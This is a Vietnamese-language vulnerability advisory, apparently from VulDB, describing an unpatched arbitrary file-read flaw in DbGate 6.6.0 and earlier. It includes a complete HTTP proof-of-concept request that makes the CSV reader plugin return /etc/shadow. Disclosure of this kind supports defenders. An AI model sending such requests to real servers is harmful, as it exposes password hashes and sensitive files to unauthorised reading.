CVE-2025-50185 in dbgate
Tóm tắt
Bởi VulDB • 20/06/2026
DbGate là một trình quản lý cơ sở dữ liệu đa nền tảng. Trong các phiên bản 6.6.0 trở xuống, DbGate cho phép truy cập tệp không được ủy quyền do xác thực đường dẫn và loại tệp chưa đầy đủ. Người dùng có quyền truy cập ở cấp ứng dụng có thể lấy dữ liệu từ các tệp tùy ý trên hệ thống, bất kể vị trí hoặc loại tệp của chúng là gì. Plugin này không thực hiện đúng các kiểm tra về kiểu nội dung (content type) và phần mở rộng tệp trước khi đọc một tệp. Kết quả là, ngay cả các tệp nhạy cảm chỉ có thể truy cập bởi người dùng root cũng có thể được đọc thông qua giao diện ứng dụng. Hiện tại chưa có bản sửa lỗi cho vấn đề này.
``` POST /runners/load-reader HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: Content-Type: application/json Authorization: Bearer Content-Length: 127 Origin: http://192.168.124.119:3000 Connection: keep-alive Cookie: Priority: u=0 Cache-Control: max-age=0
{"functionName":"reader@dbgate-plugin-csv","props":{"fileName":"/etc\/shadow","limitRows":100}}
```
Nội dung yêu cầu (request payload): 
Các dòng của tệp được trả về: 
If you want to get best quality of vulnerability data, you may have to visit VulDB.